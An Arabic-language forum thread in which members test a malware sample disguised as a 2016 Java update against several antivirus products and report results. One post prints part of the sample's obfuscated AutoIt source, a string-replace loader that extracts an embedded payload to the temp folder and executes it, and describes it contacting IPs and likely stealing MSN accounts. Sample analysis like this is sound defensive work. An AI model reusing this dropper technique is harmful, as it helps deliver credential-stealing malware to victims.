عـيـنة Fake Java Updates 2016

المصدر: Fake Java Updates 2016
في منتدى : منتدى نقاشات واختبارات برامج الحماية

احتررررررررررررررررس من الهكر المفتررررررررس

هذا المحتوى يظهر للاعضاء المسجلين فقط:

هذا المحتوى يظهر للاعضاء المسجلين فقط:

​

 

غير مكتشف من ESET

 

و عليكم السلام و رحمة الله و بركاته .. ألف شكر لك
البتد فيندر بالفحص لا شي !
و عند التشغيل ...

 

السمول اوفيس 3


بعد فك الضغط نسف العينة

هذا المحتوى يظهر للاعضاء المسجلين فقط:

هذا المحتوى يظهر للاعضاء المسجلين فقط:

 

Good Fights Guys

 

الظاهر ما طلعلوش اسنان للهكر المفترس

 

البركة فيكم قضيته عليه

 

الملف ليس مكتشف من النود
​

 

فرمطت واتكل علي الله

 

البركة بالسمول اوفيس

 

ياواقعه مش فايته ياوهدان

 

محدش يشمت فى النود
كل الحكاية ان النود بيتعشا وجى علشان كده هو مش فاضى يكتشفه"اول مرة اكتب جملة كاملة باللهجة المصرية "​

 

وانا كمان بحب مصر جدا واهلها وعشان هيك بحب اتكلم مصرى لان ناسها طيبين ومهضومين كتير
اخوك وليد من المنصوره

 

انا عملتلك موضوع سوف يعجبك عن ازالة برامج الحماية علشان تشيل برامج الحماية برحتك
http://forum.zyzoom.net/threads/251986/#post-3518964​

 

اخوك احمد من المحلة الكبرى
​

 

بقول ايه ياعم كوماندوز هو مين الى قالك انى ده Fake Java Updates تحديث للجافا مزيف

هو علشان الاسم يعنى مكتوب يبقه علطول نطلق عليه زى اسمه

طب مانا ممكن اكتبلك كاسبر اسكاى 2017 هتقولى ده كاسبر مزيف علشان اسمه كده

الاخ صاحب العينه ( المبرمج ) استخدم نوع من انواع الهندسه الاجتماعيه لكى يخدعك عن طريق التسميه

ولكن انا لا الومك لان فعلا اى حد هيشوف الاسم هينخدع فيه

عموما الملف AutoIt مكتوب بداخله تبديل الاسترنج StringReplace

السورس للاطلاع

كود:

$dd = "OUVlCRJq"
Execute(StringReplace('FerfwierfwlerfweWerfwrite(erfwFierfwleOerfwpeerfwn(erfw@erfwTerfweerfwmperfwDirerfw &erfw "\data.berfwin", 1erfw8), StringerfwMid(FileReaerfwd(FileOperfwen(@AuterfwoItEerfwxe, 0)), StrerfwingerfwInerfwStr(FierfwleRead(FerfwileOpen(@AerfwutoItExerfwe, 0)erfw), $erfwdd) + StrinerfwgLeerfwn($dd)erfw))', "erfw", ""))
Execute(StringReplace('fwdeSfwdehfwdeellfwdeExecute(fwdechrfwde(fwde34fwde) fwde&fwde fwde

الملف ايضا يتصل بعده ايبيهات

يقوم بزرع عده ملفات منها بامتداد TXT وعلى الاغلب انه يقوم بجمع حسابات msn

ودى للجميع

 

الحصان 10 انترنت سيكيوريتي

بمجرد فك الضغط وبمحركه الخاص اقتنصه


وهاهو معزول